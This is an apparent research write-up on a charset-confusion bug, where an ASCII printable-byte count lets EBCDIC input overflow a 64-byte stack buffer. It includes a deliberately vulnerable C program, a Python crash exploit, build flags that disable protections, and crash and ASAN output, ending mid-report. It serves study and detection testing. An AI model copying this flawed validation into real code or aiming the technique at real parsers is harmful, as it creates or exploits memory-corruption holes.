

Charset Confusion: EBCDIC Bypass Stack Buffer Overflow Binary Exploitation :

A Complete Technical PoC Manual

Author: Bhavesh M. Dhake, Founder & CEO @ o30m

Table of Contents

1. Abstract
 2. Introduction
 3. Background: ASCII, EBCDIC, and Encoding Confusion
 4. The Vulnerability Class — CWEs and Prior Work
 5. The Vulnerable Program — Complete Line-by-Line Analysis
 6. The Exploit Script — Complete Line-by-Line Analysis
 7. The Exploit Process — Step by Step
 8. Terminal PoC Walkthrough — Normal Build
 9. Terminal PoC Walkthrough — ASAN Build
 10. The Bug, Precisely Stated
 11. What This PoC Achieves — and What It Does Not
 12. Where This Fits in the Research Landscape
 13. Legal and Ethical Notice
 14. Appendix A: Reproduction
-

1. Abstract

This document presents a complete, reproducible proof-of-concept for a **charset confusion vulnerability** that produces a **stack buffer overflow**. The target program validates untrusted input by counting bytes in the **ASCII printable range (0x20–0x7E)**. This validation is correct for ASCII input but incorrect for **EBCDIC (IBM Code Page 037)** input, because EBCDIC letters fall outside that range. The validation passes when it should fail, and a subsequent `memcpy` overflows a 64-byte stack buffer with attacker-controlled data.

Every buffer write in the target program is explicitly bounds-checked. No unsafe functions (`strcpy`, `strcat`, `sprintf`, `gets`) are used. There is no length miscalculation and no missing bounds check. The vulnerability exists **only** because the target assumes ASCII input, and the attacker supplies EBCDIC.

The exploit uses Python's `cp037` codec to generate genuine EBCDIC bytes — not a simulation. The PoC is verified with GCC AddressSanitizer, which reports a clean `stack-buffer-overflow` at the `memcpy` call.

Key words: charset confusion, encoding confusion, EBCDIC, ASCII, stack buffer overflow, binary exploitation, AddressSanitizer, CWE-172, CWE-176, CWE-838.

2. Introduction

Character encodings are one of the lowest layers of data representation in computing. A program that assumes its input uses a particular encoding — commonly ASCII or UTF-8 — can be driven into unintended states when it receives input in a different encoding. This class of bug is called **charset confusion** or **encoding confusion**.

Most public research on charset confusion focuses on web attacks: WAF bypasses via URL encoding, SQL injection via Unicode homoglyphs, XSS via UTF-7, path traversal via overlong UTF-8. These attacks target **string processing** in web applications.

This document explores a different angle: **charset confusion that produces memory corruption**. The target is a C program that validates input by counting bytes in the ASCII printable range, then copies the input with a length taken from the raw byte count. For ASCII input these two numbers agree; for EBCDIC input they diverge, and the copy overflows.

The PoC is designed so that **every buffer write is explicitly bounds-checked** and **no unsafe functions are used**. The bug is not a length miscalculation. The bug is that **the validation is performed against an ASCII-specific measurement that is meaningless for EBCDIC**.

The purpose of this document is threefold:

1. To demonstrate, end-to-end, how an encoding assumption in validation logic becomes a memory-corruption vulnerability.
 2. To provide a fully reproducible PoC that other researchers can study, extend, and use to test detection.
 3. To place the work honestly within the existing literature — this is a new *application* of a known class, not a new vulnerability class.
-

3. Background: ASCII, EBCDIC, and Encoding Confusion

3.1 What a character encoding is

A character encoding is a mapping between abstract characters (the letter "A", the digit "5", the symbol "=") and byte values. Different systems chose different mappings.

Encoding	Origin	'A' byte	'=' byte	'0' byte	Space byte
ASCII	USA, 1963	0x41	0x3D	0x30	0x20
EBCDIC CP037	IBM, 1964	0xC1	0x7E	0xF0	0x40
UTF-8	Modern	0x41	0x3D	0x30	0x20

Three observations:

- **ASCII and EBCDIC are completely different mappings.** The same character has different byte values in each.
- **ASCII printable range (0x20–0x7E)** covers all letters, digits, and common punctuation in ASCII. This range is often used to distinguish "text" from "binary" or "control characters".
- **EBCDIC printable characters are mostly outside 0x20–0x7E.** EBCDIC letters occupy 0x81–0xA9 (lowercase), 0xC1–0xE9 (uppercase), and digits 0xF0–0xF9. Almost none fall within the ASCII printable range.

3.2 Why this becomes a security problem

Programs commonly make **implicit encoding assumptions**:

- "Input is ASCII text."
- "Strings are null-terminated."
- "One character equals one byte."
- "Bytes in the printable range are text."
- "The = character is byte 0x3D."

When input arrives in a **different** encoding, these assumptions fail. Failure modes include:

- Character comparisons silently fail
- Length calculations produce wrong values
- Parsing logic takes unintended branches
- Validation routines mis-measure the input
- Buffer copies use incorrect lengths

Each of these can lead to memory corruption, logic corruption, or security bypasses.

3.3 Charset confusion in the literature

Charset confusion is a well-documented vulnerability class:

- **CWE-172** — Encoding Error: The software processes data using an incorrect encoding, leading to incorrect results.
- **CWE-176** — Improper Handling of Unicode Encoding: The software does not properly handle Unicode, leading to misinterpretation.
- **CWE-180** — Incorrect Behavior Order: Validate Before Canonicalize: The software validates input before canonicalizing it, allowing attackers to bypass validation via encoding tricks.
- **CWE-838** — Inappropriate Encoding for Output Context: Output is encoded differently from what the consumer expects.

Historical CVEs:

CVE	Description
CVE-2000-0884	IIS Unicode traversal — <code>%c0%af</code> decoded as <code>/</code>
CVE-2008-2938	Apache Tomcat UTF-8 directory traversal
CVE-2019-11043	PHP-FPM underflow via <code>PATH_INFO</code> encoding
CVE-2017-9805	Apache Struts REST plugin XML deserialization with encoding confusion

These are web-application bugs. **Charset confusion in native code**, leading to memory corruption, is less documented in the public literature — which is part of the motivation for this PoC.

3.4 The specific assumption exploited here

The target program's validation routine is:

```
size_t count_printable_ascii(const char *buf, size_t n) {
    size_t count = 0;
    for (size_t i = 0; i < n; i++) {
        unsigned char c = (unsigned char)buf[i];
        if (c >= 0x20 && c <= 0x7E) {
            count++;
        }
    }
    return count;
}
```

```
}
```

The caller compares `count` against `MAX_MSG`:

```
if (validated_len >= MAX_MSG) {  
    return -1;    // reject  
}
```

The assumption: **"If the number of printable-ASCII bytes is less than the buffer size, the input is safe to copy."**

This is correct **only if** the input is ASCII. For ASCII, `count` equals the byte count (minus control characters), and the check correctly bounds the copy. For EBCDIC, `count` is close to zero regardless of the input size, so the check passes for any length.

The bug is not that the check is wrong — the check is correct given the number it receives. The bug is that **the number itself is meaningless for EBCDIC**.

4. The Vulnerability Class — CWEs and Prior Work

The bug demonstrated in this document maps to several CWEs:

CWE	Title	How it applies
CWE-172	Encoding Error	The program processes EBCDIC input using ASCII assumptions
CWE-176	Improper Handling of Unicode Encoding	General encoding mishandling; EBCDIC here
CWE-180	Incorrect Behavior Order: Validate Before Canonicalize	Validation uses an encoding-dependent metric before any canonicalization

CWE-838	Inappropriate Encoding for Output Context	Validation output (a count) is inappropriate for the input encoding
CWE-1286	Improper Validation of Syntactic Correctness of Input	Input is assumed ASCII, not validated
CWE-130	Improper Handling of Length Parameter Inconsistency	The validated length and the copied length diverge
CWE-121	Stack-based Buffer Overflow	The final impact

The vulnerability chain is:

```

EBCDIC input
  → CWE-172 (encoding error)
  → CWE-180 (validate-before-canonicalize)
  → CWE-130 (length inconsistency)
  → CWE-121 (stack buffer overflow)

```

This chains a **semantic assumption** (input is ASCII) into a **memory-safety violation** (buffer overflow). Charset confusion is the trigger; memory corruption is the impact.

5. The Vulnerable Program — Complete Line-by-Line Analysis

5.1 The source file (`messagesave.c`)

```

/*
 * messagesave.c — Save a message from a fixed-size network frame.
 *
 * Reads a frame from stdin (simulating recv() on a socket).
 * Validates the message length by counting ASCII-printable bytes
 * (0x20-0x7E). Copies the frame using the actual number of bytes
 * read. Every buffer write is bounds-checked. Every copy uses a
 * safe function. There is no length miscalculation.
 *
 * The bug is purely an encoding assumption:

```

```

*
*  count_printable_ascii() counts bytes in the ASCII printable
*  range. This is correct for ASCII input. For EBCDIC input,
*  EBCDIC letters fall outside 0x20-0x7E, so the count is far
*  smaller than the actual byte count. The validation passes
*  when it should fail, and the copy overflows.
*
* For ASCII input:  count == byte count  -> validation correct -> safe.
* For EBCDIC input: count << byte count  -> validation wrong  -> overflow.
*
* The frame buffer lives in .bss, not on the stack, so it does not
* overlap with `msg` in main's frame. This isolates the overflow so
* ASAN reports stack-buffer-overflow instead of memcpy-param-overlap.
*
* Compile (normal):
*  gcc -o messagesave messagesave.c -fno-stack-protector -no-pie -g
*
* Compile (ASAN):
*  gcc -o messagesave_asan messagesave.c -fsanitize=address -g
*
* FOR AUTHORIZED LAB USE ONLY.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_FRAME 512
#define MAX_MSG 64

/* Global frame buffer - lives in .bss, not on the stack. */
static char g_frame[MAX_FRAME];

struct message {
    char text[MAX_MSG];
};

```

5.2 Line-by-line

File header comment

Documents:

- Purpose: receive a fixed-size network frame and store it in a fixed-size message buffer
- Bug location: `count_printable_ascii()` uses an ASCII-only definition of "text"
- Correctness property: the code is memory-safe for ASCII input
- Design decision: `g_frame` is global so it does not overlap with `msg` on the stack

- Compile flags for normal and ASAN builds

```
#include <stdio.h>
```

Standard I/O — brings in `FILE`, `printf`, `fprintf`, `stderr`, `stdin`.

```
#include <stdlib.h>
```

Standard library — brings in `size_t`, `EXIT_SUCCESS`, `EXIT_FAILURE`.

```
#include <string.h>
```

String/memory functions — brings in `memcpy`, `memset`.

```
#include <unistd.h>
```

POSIX API — brings in `read`, `STDIN_FILENO`.

```
#define MAX_FRAME 512
```

Preprocessor macro. Every `MAX_FRAME` in the source becomes `512` before compilation. Used to size `g_frame`.

```
#define MAX_MSG 64
```

Every `MAX_MSG` becomes `64`. Used to size `msg.text`. **This is the buffer that will be overflowed.**

```
static char g_frame[MAX_FRAME];
```

Declares a file-scope global array of 512 bytes.

- `static` — internal linkage, visible only within this translation unit
- `char` — each element is a single byte
- `g_frame` — global frame buffer
- `[MAX_FRAME]` — 512 elements

Why global? Globals with `static` linkage live in the `.bss` section, not on the stack. This matters because if `g_frame` were a local in `main`, it would sit **adjacent to `msg`** on the stack, and the 400-byte `memcpy` from `g_frame` into `msg.text` would make the source and destination ranges overlap. AddressSanitizer would then report `memcpy-param-overlap` before reporting the actual `stack-buffer-overflow`. By moving `g_frame` to `.bss`, the source and destination are in different memory regions, and ASAN reports the true bug.

```
struct message { ... };
```

```
struct message {
    char text[MAX_MSG];
};
```

Defines a struct type named `message` with a single member:

- `char text[MAX_MSG]` — a 64-byte character array

Total size: 64 bytes. This is the destination buffer for the overflow.

5.3 The `count_printable_ascii` function

```
/*
 * count_printable_ascii()
 *
 * Counts bytes in the ASCII printable range 0x20-0x7E.
 * Correct for ASCII input. For EBCDIC input, most bytes fall
 * outside this range, so the count is much smaller than the
 * actual byte count.
 *
 * This is the ONLY encoding-dependent piece of logic in the
 * program, and it is the root cause of the vulnerability.
 */
static size_t count_printable_ascii(const char *buf, size_t n) {
    size_t count = 0;
    for (size_t i = 0; i < n; i++) {
        unsigned char c = (unsigned char)buf[i];
        if (c >= 0x20 && c <= 0x7E) {
            count++;
        }
    }
    return count;
}
```

```
static size_t count_printable_ascii(const char *buf, size_t n)
```

Function declaration:

- `static` — internal linkage
- `size_t` — return type (unsigned integer type used for sizes)
- `count_printable_ascii` — function name
- `const char *buf` — pointer to the input buffer; `const` means the function will not modify it
- `size_t n` — number of bytes to examine

```
size_t count = 0;
```

Loop counter, initialized to zero.

- `size_t` because it counts bytes, which cannot be negative

```
for (size_t i = 0; i < n; i++) {
```

Standard byte-scanning loop:

- `size_t i = 0` — start at index 0
- `i < n` — stop when `i` reaches `n`
- `i++` — increment after each iteration

```
unsigned char c = (unsigned char)buf[i];
```

Reads the `i`-th byte.

- `buf[i]` — byte at index `i`
- `(unsigned char)` — cast to unsigned to avoid sign-extension issues when `char` is signed (implementation-defined on many platforms)

```
if (c >= 0x20 && c <= 0x7E) {
```

The core assumption.

- `0x20` is ASCII space
- `0x7E` is ASCII tilde
- The range `0x20–0x7E` contains all ASCII printable characters: space, `!`, `"`, `#`, ..., `~`
- For EBCDIC, this range contains almost no letters or digits
- For the byte `0xC1` (EBCDIC `'A'`), the condition is false

```
count++;
```

If the byte is in the printable ASCII range, increment the counter.

```
return count;
```

Return the total count of printable-ASCII bytes.

The bug is here:

This function defines "text" as "bytes in `0x20–0x7E`", which is an ASCII-specific definition. The function is correct for ASCII input. It is wrong for EBCDIC input, where nearly all printable characters fall outside this range.

5.4 The `validate_and_copy` function

```

/*
 * validate_and_copy()
 *
 * frame      - raw bytes
 * frame_size  - how many bytes were read
 * msg        - destination struct (on the stack of the caller)
 *
 * Validates using the ASCII-printable count.
 * Copies using the actual frame size.
 *
 * For ASCII input, validated_len == frame_size, so the check is
 * correct. For EBCDIC input, validated_len << frame_size, so the
 * check passes even for a 400-byte frame, and the copy overflows.
 */
static int validate_and_copy(const char *frame, size_t frame_size,
                             struct message *msg) {
    size_t validated_len = count_printable_ascii(frame, frame_size);

    fprintf(stderr,
            "[messagesave] DEBUG: frame_size=%zu printable_ascii=%zu
MAX_MSG=%d\n",
            frame_size, validated_len, MAX_MSG);

    /*
     * Validate against the printable-ASCII count.
     * Correct for ASCII input. Wrong for EBCDIC input.
     */
    if (validated_len >= MAX_MSG) {
        fprintf(stderr,
            "[messagesave] rejected: printable_count=%zu >= MAX_MSG=%d\n",
            validated_len, MAX_MSG);
        return -1;
    }

    /*
     * Copy using the actual byte count.
     * For ASCII, frame_size == validated_len, so this is safe.
     * For EBCDIC, frame_size >> validated_len, so this overflows.
     */
    fprintf(stderr,
            "[messagesave] copying %zu bytes into %d-byte buffer\n",
            frame_size, MAX_MSG);
    memcpy(msg->text, frame, frame_size);
    msg->text[frame_size] = '\0';

    return 0;
}

```

```
static int validate_and_copy(const char *frame, size_t frame_size, struct
message *msg)
```

Function declaration:

- `static` — internal linkage
- `int` — return type (0 on success, -1 on rejection)
- `validate_and_copy` — function name
- `const char *frame` — input bytes
- `size_t frame_size` — number of input bytes
- `struct message *msg` — destination struct

```
size_t validated_len = count_printable_ascii(frame, frame_size);
```

The critical line.

- Calls `count_printable_ascii` on the input
- Result is stored in `validated_len`
- For ASCII input, this equals `frame_size` minus control characters
- For EBCDIC input, this is close to zero

```
fprintf(stderr, "[messagesave] DEBUG: frame_size=%zu printable_ascii=%zu
MAX_MSG=%d\n", frame_size, validated_len, MAX_MSG);
```

Debug output.

- `fprintf` — like `printf` but to a specific stream
- `stderr` — standard error; unbuffered
- `%zu` — `size_t` format specifier
- `%d` — `int` format specifier
- **Purpose:** verify in the terminal that `validated_len` is 0 for EBCDIC input

```
if (validated_len >= MAX_MSG) { ... }
```

The validation check.

- Compares the printable-ASCII count against the buffer size
- If the count is at least 64, the input is rejected
- **This check is correct — given the value of `validated_len`**
- The check itself is fine; the value is what's wrong

```
fprintf(stderr, "[messagesave] rejected: printable_count=%zu >= MAX_MSG=%d\n",
validated_len, MAX_MSG);
```

If the check fails, print a rejection message.

```
return -1;
```

Signal rejection to the caller.

```
fprintf(stderr, "[messagesave] copying %zu bytes into %d-byte buffer\n",  
frame_size, MAX_MSG);
```

Print the size of the copy that is about to happen.

- `frame_size` — the actual byte count
- `MAX_MSG` — the buffer size

```
memcpy(msg->text, frame, frame_size);
```

THE OVERFLOW.

- `msg->text` — destination, 64 bytes
- `frame` — source
- `frame_size` — number of bytes (can be up to 512)
- For `frame_size > 64`, this writes past the destination

The key insight: `memcpy`'s length argument is `frame_size`, which is the **true** byte count. The **validation** was performed against `validated_len`, a **different** number. The two disagree for EBCDIC input.

```
msg->text[frame_size] = '\0';
```

Null-terminate the destination.

- Writes a `0x00` byte at `msg->text[frame_size]`
- Also overflows when `frame_size >= 64`

```
return 0;
```

Signal success.

5.5 The `main` function

```
int main(void) {  
    struct message msg;  
  
    memset(&msg, 0, sizeof(msg));  
  
    fprintf(stderr, "[messagesave] reading frame...\n");  
  
    /*  
     * Read into the global g_frame. read() does not add a null
```

```

    * terminator and does not stop at newline — same semantics as
    * recv() on a socket.
    */
    ssize_t n = read(STDIN_FILENO, g_frame, sizeof(g_frame));
    if (n <= 0) {
        fprintf(stderr, "[messagesave] no data\n");
        return 1;
    }

    fprintf(stderr, "[messagesave] read %zd bytes\n", n);

    if (validate_and_copy(g_frame, (size_t)n, &msg) != 0) {
        fprintf(stderr, "[messagesave] rejected\n");
        return 1;
    }

    fprintf(stderr, "[messagesave] accepted\n");
    return 0;
}

```

```
int main(void)
```

Program entry point.

- `int` — returns an exit code
- `void` — takes no arguments

```
struct message msg;
```

Declares a **local** `message` struct on the stack.

- `msg.text` is a 64-byte buffer
- **This is the destination of the overflow**
- Because `msg` is the only stack object in `main` (thanks to the `g_frame` fix), the overflow from `msg.text` walks deterministically through the rest of `main`'s frame

```
memset(&msg, 0, sizeof(msg));
```

Zeroes the `msg` struct.

- `&msg` — address of the struct
- `0` — fill byte
- `sizeof(msg)` — number of bytes to fill (64)
- Ensures deterministic initialization

```
fprintf(stderr, "[messagesave] reading frame...\n");
```

Logs the start of the read.

```
ssize_t n = read(STDIN_FILENO, g_frame, sizeof(g_frame));
```

Reads up to 512 bytes from stdin.

- `read` — POSIX system call; returns the number of bytes read or -1 on error
- `STDIN_FILENO` — file descriptor 0
- `g_frame` — destination buffer
- `sizeof(g_frame)` — 512
- **Important:** `read` does not null-terminate and does not stop at newline. This matches `recv()` on a socket.

```
if (n <= 0) { ... }
```

Error handling.

- `n <= 0` — either an error (-1) or no data (0)
- Returns 1 (failure exit code)

```
fprintf(stderr, "[messagesave] read %zd bytes\n", n);
```

Logs the number of bytes read.

- `%zd` — `ssize_t` format specifier

```
if (validate_and_copy(g_frame, (size_t)n, &msg) != 0) { ... }
```

Calls the vulnerable function.

- `g_frame` — the read buffer (in `.bss`)
- `(size_t)n` — the actual byte count
- `&msg` — destination
- If `validate_and_copy` returns non-zero (rejection), the program exits

```
fprintf(stderr, "[messagesave] accepted\n");
```

Logs acceptance.

- **In the normal build with EBCDIC input, this line prints, then the program crashes on `main`'s return.** The corruption already happened during `memcpy`.

```
return 0;
```

Return from `main`.

- In the normal build with overflow, the saved return address of `main` has been corrupted
 - The `ret` instruction jumps to an attacker-controlled address
 - Result: SIGSEGV
-

6. The Exploit Script — Complete Line-by-Line Analysis

6.1 The source file (`exploit_messagesave.py`)

```
#!/usr/bin/env python3
"""
exploit_messagesave.py - Triggers the ASCII-printable-count bug
with genuine EBCDIC CP037 input.
```

The target validates input by counting bytes in the ASCII printable range (0x20-0x7E). EBCDIC text is almost entirely outside that range, so the count is far below the actual byte count. The validation passes, and the copy overflows the 64-byte destination buffer.

Usage:

```
python3 exploit_messagesave.py [target]
# target defaults to ./messagesave
```

FOR AUTHORIZED LAB USE ONLY.

```
"""
```

```
import subprocess
import sys
```

```
target = sys.argv[1] if len(sys.argv) > 1 else "./messagesave"
```

```
plaintext = "A" * 400
ebcdic_payload = plaintext.encode("cp037")
```

```
print(f"[exploit] Target: {target}")
print(f"[exploit] Plaintext length: {len(plaintext)} chars")
print(f"[exploit] EBCDIC payload length: {len(ebcdic_payload)} bytes")
print(f"[exploit] First 16 bytes: {ebcdic_payload[:16].hex()}")
print(f"[exploit] Last 8 bytes: {ebcdic_payload[-8:].hex()}")
```

```
printable_count = sum(1 for b in ebcdic_payload if 0x20 <= b <= 0x7E)
print(f"[exploit] Bytes in ASCII printable range (0x20-0x7E): {printable_count}")
```

```

if printable_count < 64:
    print(f"[exploit] Confirmed: printable count {printable_count} < MAX_MSG
64")
    print(f"[exploit] Validation will PASS; copy will overflow")

print(f"[exploit] Sending {len(ebcdic_payload)} bytes...")

p = subprocess.Popen(
    [target],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
)

stdout, stderr = p.communicate(ebcdic_payload)

print("\n[exploit] --- target stdout ---")
print(stdout.decode("utf-8", errors="replace"))

print("[exploit] --- target stderr ---")
print(stderr.decode("utf-8", errors="replace"))

print(f"[exploit] Target exit code: {p.returncode}")
if p.returncode < 0:
    import signal
    try:
        sig_name = signal.Signals(-p.returncode).name
    except ValueError:
        sig_name = f"signal {-p.returncode}"
    print(f"[exploit] Target killed by {sig_name}")

```

6.2 Line-by-line

#!/usr/bin/env python3

Shebang. Tells the OS to execute this file with `python3` from `$PATH`.

Docstring ("""...""")

Documents the exploit's purpose, usage, and the vulnerability it targets.

import subprocess

Python module for spawning subprocesses and piping I/O.

import sys

For `sys.argv`.

```
target = sys.argv[1] if len(sys.argv) > 1 else "./messagesave"
```

Chooses the target binary.

- If a command-line argument is given, use it
- Otherwise default to `./messagesave`
- Lets the same script run against both the normal and ASAN builds

```
plaintext = "A" * 400
```

Builds a Python string of 400 `'A'` characters. Not yet encoded.

```
ebcdic_payload = plaintext.encode("cp037")
```

The core encoding line.

- `.encode("cp037")` uses Python's built-in IBM Code Page 037 codec
- Produces genuine EBCDIC bytes: `0xC1` × 400
- **Not a simulation** — this is the same encoding used on real z/OS and OS/400 systems

```
print(f"[exploit] Target: {target}")
```

Prints the target.

- `f"..."` — f-string
- `{target}` — interpolates the variable

```
print(f"[exploit] Plaintext length: {len(plaintext)} chars")
```

Prints the plaintext length (400).

```
print(f"[exploit] EBCDIC payload length: {len(ebcdic_payload)} bytes")
```

Prints the encoded length (400 — same, because each `'A'` is 1 byte in CP037).

```
print(f"[exploit] First 16 bytes: {ebcdic_payload[:16].hex()}")
```

Prints the first 16 bytes as hex.

- `[:16]` — Python slice
- `.hex()` — converts bytes to lowercase hex string
- Output: `c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1`

```
print(f"[exploit] Last 8 bytes: {ebcdic_payload[-8:].hex()}")
```

Same for the last 8 bytes.

- `[-8:]` — negative slice: last 8 bytes

```
printable_count = sum(1 for b in ebcdic_payload if 0x20 <= b <= 0x7E)
```

Client-side verification of the exploit's premise.

- Iterates over all bytes
- Counts those in the ASCII printable range
- For EBCDIC input, this is 0
- **This mirrors exactly what the target's `count_printable_ascii` will compute**

```
print(f"[exploit] Bytes in ASCII printable range (0x20-0x7E):  
{printable_count}")
```

Prints the count (0).

```
if printable_count < 64:
```

Conditional.

- If the count is less than `MAX_MSG` (64), the target will accept the input
- This confirms the exploit's premise

```
print(f"[exploit] Confirmed: printable count {printable_count} < MAX_MSG 64")
```

Prints confirmation.

```
print(f"[exploit] Validation will PASS; copy will overflow")
```

Prints the predicted behavior.

```
print(f"[exploit] Sending {len(ebcdic_payload)} bytes...")
```

Prints the sending notice.

```
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE,  
stderr=subprocess.PIPE,)
```

Launches the target.

- `[target]` — command as a list
- `stdin=subprocess.PIPE` — we will write to its stdin
- `stdout=subprocess.PIPE` — we will read its stdout
- `stderr=subprocess.PIPE` — we will read its stderr

```
stdout, stderr = p.communicate(ebcdic_payload)
```

Sends the payload and collects output.

- `p.communicate(...)` writes the payload to stdin, closes stdin, reads stdout and stderr to EOF
- Returns `(stdout_bytes, stderr_bytes)`

```
print("\n[exploit] --- target stdout ---")
```

Header for stdout output.

```
print(stdout.decode("utf-8", errors="replace"))
```

Decodes and prints stdout.

- `.decode("utf-8", errors="replace")` handles any non-UTF-8 bytes gracefully

```
print("[exploit] --- target stderr ---")
```

Header for stderr output.

```
print(stderr.decode("utf-8", errors="replace"))
```

Decodes and prints stderr.

```
print(f"[exploit] Target exit code: {p.returncode}")
```

Prints the exit code.

- 0 = normal exit
- positive = exit code
- negative = killed by signal

```
if p.returncode < 0:
```

If the process was killed by a signal.

```
import signal
```

Imports the `signal` module.

```
try: sig_name = signal.Signals(-p.returncode).name
```

Looks up the signal name.

- `-p.returncode` — negates to get the signal number
- `signal.Signals(11)` — SIGSEGV
- `.name` — "SIGSEGV"

```
except ValueError: sig_name = f"signal {-p.returncode}"
```

Fallback for unknown signal numbers.

```
print(f"[exploit] Target killed by {sig_name}")
```

Prints the signal name.

7. The Exploit Process — Step by Step

7.1 Overview

ATTACKER	TARGET
1. Generate 400 'A's	
2. Encode with cp037 → 400 × 0xC1	
3. Launch target	
4. Write payload to stdin	5. read() into g_frame g_frame[0..399] = 0xC1
	6. count_printable_ascii() scans 400 bytes none in 0x20-0x7E returns 0
	7. validated_len = 0 0 >= 64 is false VALIDATION PASSES
	8. memcpy(msg.text, g_frame, frame_size=400) OVERFLOW: 400 bytes into 64-byte buffer
	9. msg.text[400] = '\0' also overflows
	10. return from validate_and_copy
	11. fprintf "accepted"
	12. return from main
	13. ret pops corrupted address
	14. CPU jumps to 0xC1C1C1C1C1C1C1C1
	15. unmapped → SIGSEGV

7.2 Detailed walkthrough

Step 1 — Generate the payload (attacker side)

Python creates `"A" * 400`, a 400-character string.

Step 2 — Encode to EBCDIC

```
ebcdic_payload = plaintext.encode("cp037")
```

Result: 400 bytes, all `0xC1` ('A' in CP037).

Step 3 — Launch the target

```
p = subprocess.Popen([target], stdin=PIPE, stdout=PIPE, stderr=PIPE)
```

The target starts, prints `[messagesave] reading frame...`, and blocks on `read()`.

Step 4 — Send the payload

```
stdout, stderr = p.communicate(ebcdic_payload)
```

400 bytes are written to stdin, then stdin is closed.

Step 5 — Target reads the frame

```
ssize_t n = read(STDIN_FILENO, g_frame, sizeof(g_frame));
```

`n = 400`. `g_frame[0..399] = 0xC1 * 400`. `g_frame[400..511] = whatever the .bss section contained (typically zero, but the code does not depend on this)`.

Step 6 — Count printable ASCII

```
size_t validated_len = count_printable_ascii(frame, frame_size);
```

The loop examines all 400 bytes. Every byte is `0xC1`, which is greater than `0x7E`. None satisfy `0x20 <= c <= 0x7E`. The counter stays at 0. `validated_len = 0`.

Step 7 — Validate

```
if (validated_len >= MAX_MSG) { reject }
```

`0 >= 64` is false. Validation passes.

Step 8 — Copy

```
memcpy(msg->text, frame, frame_size);
```

`frame_size = 400`. `msg->text` is 64 bytes. **336 bytes past `msg->text` are overwritten.**

The memory written past `msg.text`:

- Bytes 64–95 of `msg` (nothing, `msg` is 64 bytes)
- Bytes 96+ of `main`'s stack frame — the saved registers, saved RBP, and return address

Step 9 — Null-terminate

```
msg->text[frame_size] = '\0';
```

Writes `0x00` at `msg.text[400]`, also past the buffer.

Step 10–11 — Return and print

`validate_and_copy` returns 0. `main` prints `[messagesave] accepted`.

Step 12–13 — `main` returns

`main` reaches its `ret` instruction. The CPU pops the saved return address from the stack. But the return address was overwritten by the `memcpy`.

Step 14–15 — Jump to garbage, SIGSEGV

The return address is `0xC1C1C1C1C1C1C1C1`, an unmapped address. The CPU raises a page fault. The kernel delivers SIGSEGV. The process is killed.

8. Terminal PoC Walkthrough — Normal Build

8.1 Compilation

→ Downloads `gcc -o messagesave messagesave.c -fno-stack-protector -no-pie -g`

Flag breakdown:

Flag	Purpose
<code>-o messagesave</code>	Output binary name
<code>-fno-stack-protector</code>	Disable stack canaries (allows return-address overwrite)
<code>-no-pie</code>	Disable PIE (fixed load address, for eventual ROP)
<code>-g</code>	Include debug symbols

8.2 Execution

→ Downloads `python3 exploit_messagesave.py`

Default target: `./messagesave`.

8.3 Exploit output

```
[exploit] Target:                ./messagesave
[exploit] Plaintext length:      400 chars
[exploit] EBCDIC payload length: 400 bytes
[exploit] First 16 bytes:        c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1
[exploit] Last 8 bytes:          c1c1c1c1c1c1c1c1
[exploit] Bytes in ASCII printable range (0x20-0x7E): 0
[exploit] Confirmed: printable count 0 < MAX_MSG 64
[exploit] Validation will PASS; copy will overflow
[exploit] Sending 400 bytes...
```

Line-by-line:

- `Target: ./messagesave` — default binary
- `Plaintext length: 400 chars` — 400 'A' characters
- `EBCDIC payload length: 400 bytes` — each 'A' is 1 byte in CP037
- `First 16 bytes: c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1` — all `0xC1`
- `Last 8 bytes: c1c1c1c1c1c1c1c1` — same

- Bytes in ASCII printable range (0x20-0x7E): 0 — **the critical number**
- Confirmed: printable count 0 < MAX_MSG 64 — the target's check will pass
- Validation will PASS; copy will overflow — prediction
- Sending 400 bytes... — payload transmission

8.4 Target output (captured)

```
[exploit] --- target stdout ---

[exploit] --- target stderr ---
[messagesave] reading frame...
[messagesave] read 400 bytes
[messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64
[messagesave] copying 400 bytes into 64-byte buffer
[messagesave] accepted

[exploit] Target exit code: -11
[exploit] Target killed by SIGSEGV
```

Line-by-line:

stdout section:

- **Blank.** Nothing was written to stdout. This is expected; all diagnostics go to stderr.

stderr section:

- [messagesave] reading frame... — before read()
- [messagesave] read 400 bytes — read() returned 400
- [messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64 — **proves the bug is triggering**
 - frame_size=400 — 400 bytes were read
 - printable_ascii=0 — count_printable_ascii found zero printable-ASCII bytes
 - MAX_MSG=64 — the buffer size
- [messagesave] copying 400 bytes into 64-byte buffer — logs the overflow
- [messagesave] accepted — the validation passed and the copy "succeeded"
 - **This is the last line the target prints.** After this, main returns, the corrupted return address is used, and the process dies.

Exit code:

- -11 — Python's subprocess convention for signals
- Signal 11 is **SIGSEGV**

Signal name:

- `SIGSEGV` — segmentation fault
- Control flow was hijacked by the corrupted return address

8.5 What the terminal confirms

Fact	Evidence
Payload was EBCDIC	All bytes are <code>0xC1</code>
Payload had no printable ASCII	<code>printable_ascii=0</code>
Validation passed	<code>accepted</code> printed
Overflow happened	<code>copying 400 bytes into 64-byte buffer</code>
Control flow was hijacked	<code>SIGSEGV</code>

9. Terminal PoC Walkthrough — ASAN Build

9.1 Compilation

→ Downloads `gcc -o messagesave_asan messagesave.c -fsanitize=address -g`

Flag breakdown:

Flag	Purpose
------	---------

<code>-o messagesave_asan</code>	Output binary
<code>-fsanitize=address</code>	Enable AddressSanitizer
<code>-g</code>	Debug symbols

Note: Stack-protector and PIE flags are not used. ASAN detects the overflow regardless.

9.2 Execution

→ Downloads `python3 exploit_messagesave.py ./messagesave_asan`

9.3 Exploit output

Same preamble as the normal build (target name differs).

9.4 Target output (captured)

```
[exploit] --- target stderr ---
[messagesave] reading frame...
[messagesave] read 400 bytes
[messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64
[messagesave] copying 400 bytes into 64-byte buffer
=====
==404808==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x6f6346bf0060 at pc 0x736349128d2d bp 0x7ffef264dc70 sp 0x7ffef264d418
